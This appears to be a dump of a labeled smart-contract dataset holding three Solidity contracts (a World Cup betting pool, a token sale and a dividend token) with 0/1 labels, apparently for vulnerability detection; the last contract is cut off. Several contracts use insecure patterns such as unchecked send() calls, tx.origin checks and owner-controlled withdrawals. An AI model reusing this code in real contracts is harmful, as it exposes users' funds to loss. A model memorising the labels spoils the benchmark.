source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
|---|---|---|
pragma solidity ^0.4.24;
contract EtherWorldCup {
using SafeMath for uint;
address internal constant administrator = 0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae;
address internal constant givethAddress = 0x5ADF43DD006c6C36506e2b2DFA352E60002d22Dc;
string name = "EtherWorldCup";
string symbol = "EWC";
mapping (string => int8) worldCupGameID;
mapping (int8 => bool) gameFinished;
mapping (int8 => uint) gameLocked;
mapping (int8 => string) gameResult;
int8 internal latestGameFinished;
uint internal prizePool;
uint internal givethPool;
int registeredPlayers;
mapping (address => bool) playerRegistered;
mapping (address => mapping (int8 => bool)) playerMadePrediction;
mapping (address => mapping (int8 => string)) playerPredictions;
mapping (address => int8[64]) playerPointArray;
mapping (address => int8) playerGamesScored;
mapping (address => uint) playerStreak;
address[] playerList;
event Registration(
address _player
);
event PlayerLoggedPrediction(
address _player,
int _gameID,
string _prediction
);
event PlayerUpdatedScore(
address _player,
int _lastGamePlayed
);
event Comparison(
address _player,
uint _gameID,
string _myGuess,
string _result,
bool _correct
);
event StartAutoScoring(
address _player
);
event StartScoring(
address _player,
uint _gameID
);
event DidNotPredict(
address _player,
uint _gameID
);
event RipcordRefund(
address _player
);
constructor ()
public
{
worldCupGameID["RU-SA"] = 1;
gameLocked[1] = 1528988400;
worldCupGameID["EG-UY"] = 2;
worldCupGameID["MA-IR"] = 3;
worldCupGameID["PT-ES"] = 4;
gameLocked[2] = 1529064000;
gameLocked[3] = 1529074800;
gameLocked[4] = 1529085600;
worldCupGameID["FR-AU"] = 5;
worldCupGameID["AR-IS"] = 6;
worldCupGameID["PE-DK"] = 7;
worldCupGameID["HR-NG"] = 8;
gameLocked[5] = 1529143200;
gameLocked[6] = 1529154000;
gameLocked[7] = 1529164800;
gameLocked[8] = 1529175600;
worldCupGameID["CR-CS"] = 9;
worldCupGameID["DE-MX"] = 10;
worldCupGameID["BR-CH"] = 11;
gameLocked[9] = 1529236800;
gameLocked[10] = 1529247600;
gameLocked[11] = 1529258400;
worldCupGameID["SE-KR"] = 12;
worldCupGameID["BE-PA"] = 13;
worldCupGameID["TN-EN"] = 14;
gameLocked[12] = 1529323200;
gameLocked[13] = 1529334000;
gameLocked[14] = 1529344800;
worldCupGameID["CO-JP"] = 15;
worldCupGameID["PL-SN"] = 16;
worldCupGameID["RU-EG"] = 17;
gameLocked[15] = 1529409600;
gameLocked[16] = 1529420400;
gameLocked[17] = 1529431200;
worldCupGameID["PT-MA"] = 18;
worldCupGameID["UR-SA"] = 19;
worldCupGameID["IR-ES"] = 20;
gameLocked[18] = 1529496000;
gameLocked[19] = 1529506800;
gameLocked[20] = 1529517600;
worldCupGameID["DK-AU"] = 21;
worldCupGameID["FR-PE"] = 22;
worldCupGameID["AR-HR"] = 23;
gameLocked[21] = 1529582400;
gameLocked[22] = 1529593200;
gameLocked[23] = 1529604000;
worldCupGameID["BR-CR"] = 24;
worldCupGameID["NG-IS"] = 25;
worldCupGameID["CS-CH"] = 26;
gameLocked[24] = 1529668800;
gameLocked[25] = 1529679600;
gameLocked[26] = 1529690400;
worldCupGameID["BE-TN"] = 27;
worldCupGameID["KR-MX"] = 28;
worldCupGameID["DE-SE"] = 29;
gameLocked[27] = 1529755200;
gameLocked[28] = 1529766000;
gameLocked[29] = 1529776800;
worldCupGameID["EN-PA"] = 30;
worldCupGameID["JP-SN"] = 31;
worldCupGameID["PL-CO"] = 32;
gameLocked[30] = 1529841600;
gameLocked[31] = 1529852400;
gameLocked[32] = 1529863200;
worldCupGameID["UR-RU"] = 33;
worldCupGameID["SA-EG"] = 34;
worldCupGameID["ES-MA"] = 35;
worldCupGameID["IR-PT"] = 36;
gameLocked[33] = 1529935200;
gameLocked[34] = 1529935200;
gameLocked[35] = 1529949600;
gameLocked[36] = 1529949600;
worldCupGameID["AU-PE"] = 37;
worldCupGameID["DK-FR"] = 38;
worldCupGameID["NG-AR"] = 39;
worldCupGameID["IS-HR"] = 40;
gameLocked[37] = 1530021600;
gameLocked[38] = 1530021600;
gameLocked[39] = 1530036000;
gameLocked[40] = 1530036000;
worldCupGameID["KR-DE"] = 41;
worldCupGameID["MX-SE"] = 42;
worldCupGameID["CS-BR"] = 43;
worldCupGameID["CH-CR"] = 44;
gameLocked[41] = 1530108000;
gameLocked[42] = 1530108000;
gameLocked[43] = 1530122400;
gameLocked[44] = 1530122400;
worldCupGameID["JP-PL"] = 45;
worldCupGameID["SN-CO"] = 46;
worldCupGameID["PA-TN"] = 47;
worldCupGameID["EN-BE"] = 48;
gameLocked[45] = 1530194400;
gameLocked[46] = 1530194400;
gameLocked[47] = 1530208800;
gameLocked[48] = 1530208800;
worldCupGameID["1C-2D"] = 49;
worldCupGameID["1A-2B"] = 50;
gameLocked[49] = 1530367200;
gameLocked[50] = 1530381600;
worldCupGameID["1B-2A"] = 51;
worldCupGameID["1D-2C"] = 52;
gameLocked[51] = 1530453600;
gameLocked[52] = 1530468000;
worldCupGameID["1E-2F"] = 53;
worldCupGameID["1G-2H"] = 54;
gameLocked[53] = 1530540000;
gameLocked[54] = 1530554400;
worldCupGameID["1F-2E"] = 55;
worldCupGameID["1H-2G"] = 56;
gameLocked[55] = 1530626400;
gameLocked[56] = 1530640800;
worldCupGameID["W49-W50"] = 57;
worldCupGameID["W53-W54"] = 58;
gameLocked[57] = 1530885600;
gameLocked[58] = 1530900000;
worldCupGameID["W55-W56"] = 59;
worldCupGameID["W51-W52"] = 60;
gameLocked[59] = 1530972000;
gameLocked[60] = 1530986400;
worldCupGameID["W57-W58"] = 61;
gameLocked[61] = 1531245600;
worldCupGameID["W59-W60"] = 62;
gameLocked[62] = 1531332000;
worldCupGameID["L61-L62"] = 63;
gameLocked[63] = 1531576800;
worldCupGameID["W61-W62"] = 64;
gameLocked[64] = 1531666800;
latestGameFinished = 0;
}
function register()
public
payable
{
address _customerAddress = msg.sender;
require( tx.origin == _customerAddress
&& !playerRegistered[_customerAddress]
&& _isCorrectBuyin (msg.value));
registeredPlayers = SafeMath.addint256(registeredPlayers, 1);
playerRegistered[_customerAddress] = true;
playerGamesScored[_customerAddress] = 0;
playerList.push(_customerAddress);
uint fivePercent = 0.01009 ether;
uint tenPercent = 0.02018 ether;
uint prizeEth = (msg.value).sub(tenPercent);
require(playerRegistered[_customerAddress]);
prizePool = prizePool.add(prizeEth);
givethPool = givethPool.add(fivePercent);
administrator.send(fivePercent);
emit Registration(_customerAddress);
}
function makePrediction(int8 _gameID, string _prediction)
public {
address _customerAddress = msg.sender;
uint predictionTime = now;
require(playerRegistered[_customerAddress]
&& !gameFinished[_gameID]
&& predictionTime < gameLocked[_gameID]);
if (_gameID > 48 && equalStrings(_prediction, "DRAW")) {
revert();
} else {
playerPredictions[_customerAddress][_gameID] = _prediction;
playerMadePrediction[_customerAddress][_gameID] = true;
emit PlayerLoggedPrediction(_customerAddress, _gameID, _prediction);
}
}
function showPlayerScores(address _participant)
view
public
returns (int8[64])
{
return playerPointArray[_participant];
}
function gameResultsLogged()
view
public
returns (int)
{
return latestGameFinished;
}
function calculateScore(address _participant)
view
public
returns (int16)
{
int16 finalScore = 0;
for (int8 i = 0; i < latestGameFinished; i++) {
uint j = uint(i);
int16 gameScore = playerPointArray[_participant][j];
finalScore = SafeMath.addint16(finalScore, gameScore);
}
return finalScore;
}
function countParticipants()
public
view
returns (int)
{
return registeredPlayers;
}
function updateScore(address _participant)
public
{
int8 lastPlayed = latestGameFinished;
require(lastPlayed > 0);
int8 lastScored = playerGamesScored[_participant];
mapping (int8 => bool) madePrediction = playerMadePrediction[_participant];
mapping (int8 => string) playerGuesses = playerPredictions[_participant];
for (int8 i = lastScored; i < lastPlayed; i++) {
uint j = uint(i);
uint k = j.add(1);
uint streak = playerStreak[_participant];
emit StartScoring(_participant, k);
if (!madePrediction[int8(k)]) {
playerPointArray[_participant][j] = 0;
playerStreak[_participant] = 0;
emit DidNotPredict(_participant, k);
} else {
string storage playerResult = playerGuesses[int8(k)];
string storage actualResult = gameResult[int8(k)];
bool correctGuess = equalStrings(playerResult, actualResult);
emit Comparison(_participant, k, playerResult, actualResult, correctGuess);
if (!correctGuess) {
playerPointArray[_participant][j] = 0;
playerStreak[_participant] = 0;
} else {
streak = streak.add(1);
playerStreak[_participant] = streak;
if (streak >= 5) {
playerPointArray[_participant][j] = 4;
} else {
if (streak >= 3) {
playerPointArray[_participant][j] = 2;
}
else { playerPointArray[_participant][j] = 1; }
}
}
}
}
playerGamesScored[_participant] = lastPlayed;
}
function updateAllScores()
public
{
uint allPlayers = playerList.length;
for (uint i = 0; i < allPlayers; i++) {
address _toScore = playerList[i];
emit StartAutoScoring(_toScore);
updateScore(_toScore);
}
}
function playerLastScoredGame(address _player)
public
view
returns (int8)
{
return playerGamesScored[_player];
}
function playerIsRegistered(address _player)
public
view
returns (bool)
{
return playerRegistered[_player];
}
function correctResult(int8 _gameID)
public
view
returns (string)
{
return gameResult[_gameID];
}
function playerGuess(int8 _gameID)
public
view
returns (string)
{
return playerPredictions[msg.sender][_gameID];
}
function viewScore(address _participant)
public
view
returns (uint)
{
int8 lastPlayed = latestGameFinished;
mapping (int8 => bool) madePrediction = playerMadePrediction[_participant];
mapping (int8 => string) playerGuesses = playerPredictions[_participant];
uint internalResult = 0;
uint internalStreak = 0;
for (int8 i = 0; i < lastPlayed; i++) {
uint j = uint(i);
uint k = j.add(1);
uint streak = internalStreak;
if (!madePrediction[int8(k)]) {
internalStreak = 0;
} else {
string storage playerResult = playerGuesses[int8(k)];
string storage actualResult = gameResult[int8(k)];
bool correctGuess = equalStrings(playerResult, actualResult);
if (!correctGuess) {
internalStreak = 0;
} else {
internalStreak++;
streak++;
if (streak >= 5) {
internalResult += 4;
} else {
if (streak >= 3) {
internalResult += 2;
}
else { internalResult += 1; }
}
}
}
}
return internalResult;
}
modifier isAdministrator() {
address _sender = msg.sender;
if (_sender == administrator) {
_;
} else {
revert();
}
}
function addNewGame(string _opponents, int8 _gameID)
isAdministrator
public {
worldCupGameID[_opponents] = _gameID;
}
function logResult(int8 _gameID, string _winner)
isAdministrator
public {
require((int8(0) < _gameID) && (_gameID <= 64)
&& _gameID == latestGameFinished + 1);
if (_gameID > 48 && equalStrings(_winner, "DRAW")) {
revert();
} else {
require(!gameFinished[_gameID]);
gameFinished [_gameID] = true;
gameResult [_gameID] = _winner;
latestGameFinished = _gameID;
assert(gameFinished[_gameID]);
}
}
function concludeTournament(address _first
, address _second
, address _third
, address _fourth)
isAdministrator
public
{
require(gameFinished[64]
&& playerIsRegistered(_first)
&& playerIsRegistered(_second)
&& playerIsRegistered(_third)
&& playerIsRegistered(_fourth));
givethAddress.send(givethPool);
uint tenth = prizePool.div(10);
_first.send (tenth.mul(4));
_second.send(tenth.mul(3));
_third.send (tenth.mul(2));
_fourth.send(address(this).balance);
selfdestruct(administrator);
}
function pullRipCord()
isAdministrator
public
{
uint players = playerList.length;
for (uint i = 0; i < players; i++) {
address _toRefund = playerList[i];
_toRefund.send(0.19171 ether);
emit RipcordRefund(_toRefund);
}
selfdestruct(administrator);
}
function _isCorrectBuyin(uint _buyin)
private
pure
returns (bool) {
return _buyin == 0.2018 ether;
}
function compare(string _a, string _b)
private
pure
returns (int)
{
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function equalStrings(string _a, string _b) pure private returns (bool) {
return compare(_a, _b) == 0;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function addint16(int16 a, int16 b) internal pure returns (int16) {
int16 c = a + b;
assert(c >= a);
return c;
}
function addint256(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 2,087 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DaRiCpAy is StandardToken {
using SafeMath for uint256;
event CreatedIRC(address indexed _creator, uint256 _amountOfIRC);
string public constant name = "DaRiC";
string public constant symbol = "IRC";
uint256 public constant decimals = 18;
string public version = "1.0";
uint256 public maxPresaleSupply;
uint256 public constant preSaleStartTime = 1516406400;
uint256 public constant preSaleEndTime = 1518220800 ;
uint256 public saleStartTime = 1518267600 ;
uint256 public saleEndTime = 1522429200;
uint256 public lowEtherBonusLimit = 5 * 1 ether;
uint256 public lowEtherBonusValue = 110;
uint256 public midEtherBonusLimit = 24 * 1 ether;
uint256 public midEtherBonusValue = 115;
uint256 public highEtherBonusLimit = 50 * 1 ether;
uint256 public highEtherBonusValue = 120;
uint256 public highTimeBonusLimit = 0;
uint256 public highTimeBonusValue = 115;
uint256 public midTimeBonusLimit = 1036800;
uint256 public midTimeBonusValue = 110;
uint256 public lowTimeBonusLimit = 3124800;
uint256 public lowTimeBonusValue = 105;
uint256 public constant IRC_PER_ETH_PRE_SALE = 10000;
uint256 public constant IRC_PER_ETH_SALE = 8000;
address public constant ownerAddress = 0x88ce817Efd0dD935Eed8e9d553167d08870AA6e7;
bool public allowInvestment = true;
uint256 public totalWEIInvested = 0;
uint256 public totalIRCAllocated = 0;
mapping (address => uint256) public WEIContributed;
function DaRiCpAy() {
require(msg.sender == ownerAddress);
totalSupply = 20*1000000*1000000000000000000;
uint256 totalIRCReserved = totalSupply.mul(20).div(100);
maxPresaleSupply = totalSupply*8/1000 + totalIRCReserved;
balances[msg.sender] = totalIRCReserved;
totalIRCAllocated = totalIRCReserved;
}
function() payable {
require(allowInvestment);
uint256 amountOfWei = msg.value;
require(amountOfWei >= 10000000000000);
uint256 amountOfIRC = 0;
uint256 absLowTimeBonusLimit = 0;
uint256 absMidTimeBonusLimit = 0;
uint256 absHighTimeBonusLimit = 0;
uint256 totalIRCAvailable = 0;
if (now > preSaleStartTime && now < preSaleEndTime) {
amountOfIRC = amountOfWei.mul(IRC_PER_ETH_PRE_SALE);
absLowTimeBonusLimit = preSaleStartTime + lowTimeBonusLimit;
absMidTimeBonusLimit = preSaleStartTime + midTimeBonusLimit;
absHighTimeBonusLimit = preSaleStartTime + highTimeBonusLimit;
totalIRCAvailable = maxPresaleSupply - totalIRCAllocated;
} else if (now > saleStartTime && now < saleEndTime) {
amountOfIRC = amountOfWei.mul(IRC_PER_ETH_SALE);
absLowTimeBonusLimit = saleStartTime + lowTimeBonusLimit;
absMidTimeBonusLimit = saleStartTime + midTimeBonusLimit;
absHighTimeBonusLimit = saleStartTime + highTimeBonusLimit;
totalIRCAvailable = totalSupply - totalIRCAllocated;
} else {
revert();
}
assert(amountOfIRC > 0);
if (amountOfWei >= highEtherBonusLimit) {
amountOfIRC = amountOfIRC.mul(highEtherBonusValue).div(100);
} else if (amountOfWei >= midEtherBonusLimit) {
amountOfIRC = amountOfIRC.mul(midEtherBonusValue).div(100);
} else if (amountOfWei >= lowEtherBonusLimit) {
amountOfIRC = amountOfIRC.mul(lowEtherBonusValue).div(100);
}
if (now >= absLowTimeBonusLimit) {
amountOfIRC = amountOfIRC.mul(lowTimeBonusValue).div(100);
} else if (now >= absMidTimeBonusLimit) {
amountOfIRC = amountOfIRC.mul(midTimeBonusValue).div(100);
} else if (now >= absHighTimeBonusLimit) {
amountOfIRC = amountOfIRC.mul(highTimeBonusValue).div(100);
}
assert(amountOfIRC <= totalIRCAvailable);
totalIRCAllocated = totalIRCAllocated + amountOfIRC;
uint256 balanceSafe = balances[msg.sender].add(amountOfIRC);
balances[msg.sender] = balanceSafe;
totalWEIInvested = totalWEIInvested.add(amountOfWei);
uint256 contributedSafe = WEIContributed[msg.sender].add(amountOfWei);
WEIContributed[msg.sender] = contributedSafe;
assert(totalIRCAllocated <= totalSupply);
assert(totalIRCAllocated > 0);
assert(balanceSafe > 0);
assert(totalWEIInvested > 0);
assert(contributedSafe > 0);
CreatedIRC(msg.sender, amountOfIRC);
}
function transferEther(address addressToSendTo, uint256 value) {
require(msg.sender == ownerAddress);
addressToSendTo;
addressToSendTo.transfer(value) ;
}
function changeAllowInvestment(bool _allowInvestment) {
require(msg.sender == ownerAddress);
allowInvestment = _allowInvestment;
}
function changeSaleTimes(uint256 _saleStartTime, uint256 _saleEndTime) {
require(msg.sender == ownerAddress);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
}
function changeEtherBonuses(uint256 _lowEtherBonusLimit, uint256 _lowEtherBonusValue, uint256 _midEtherBonusLimit, uint256 _midEtherBonusValue, uint256 _highEtherBonusLimit, uint256 _highEtherBonusValue) {
require(msg.sender == ownerAddress);
lowEtherBonusLimit = _lowEtherBonusLimit;
lowEtherBonusValue = _lowEtherBonusValue;
midEtherBonusLimit = _midEtherBonusLimit;
midEtherBonusValue = _midEtherBonusValue;
highEtherBonusLimit = _highEtherBonusLimit;
highEtherBonusValue = _highEtherBonusValue;
}
function changeTimeBonuses(uint256 _highTimeBonusLimit, uint256 _highTimeBonusValue, uint256 _midTimeBonusLimit, uint256 _midTimeBonusValue, uint256 _lowTimeBonusLimit, uint256 _lowTimeBonusValue) {
require(msg.sender == ownerAddress);
highTimeBonusLimit = _highTimeBonusLimit;
highTimeBonusValue = _highTimeBonusValue;
midTimeBonusLimit = _midTimeBonusLimit;
midTimeBonusValue = _midTimeBonusValue;
lowTimeBonusLimit = _lowTimeBonusLimit;
lowTimeBonusValue = _lowTimeBonusValue;
}
} | 1 | 5,457 |
pragma solidity ^0.4.20;
contract POWEROFTHREE {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "POWEROFTHREE";
string public symbol = "POW3";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 3;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 10e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(address => bool) public administrators;
bool public onlyAmbassadors = true;
address POWER;
function POWEROFTHREE()
public
{
administrators[msg.sender] = true;
POWER = msg.sender;
onlyAmbassadors = false;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address (this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
referralBalance_[POWER] = SafeMath.add(referralBalance_[POWER], _referralBonus);
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
